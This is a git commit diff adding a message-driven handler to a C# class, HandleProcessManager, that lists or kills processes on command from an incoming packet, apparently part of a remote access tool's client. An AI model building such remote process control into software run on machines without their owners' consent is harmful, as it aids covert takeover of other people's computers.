Update HandleProcessManager.cs

This commit is contained in:
NYAN CAT 2019-06-17 17:29:18 +03:00
parent d75f49b39f
commit 1ca5eae0fb

View File

@ -11,8 +11,30 @@ using System.Text;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {
public class HandleProcessManager public class HandleProcessManager
{ {
public HandleProcessManager(MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "List":
{
ProcessList();
break;
}
case "Kill":
{
ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
break;
}
}
}
catch { }
}
public void ProcessKill(int ID) public void ProcessKill(int ID)
{ {
foreach (var process in Process.GetProcesses()) foreach (var process in Process.GetProcesses())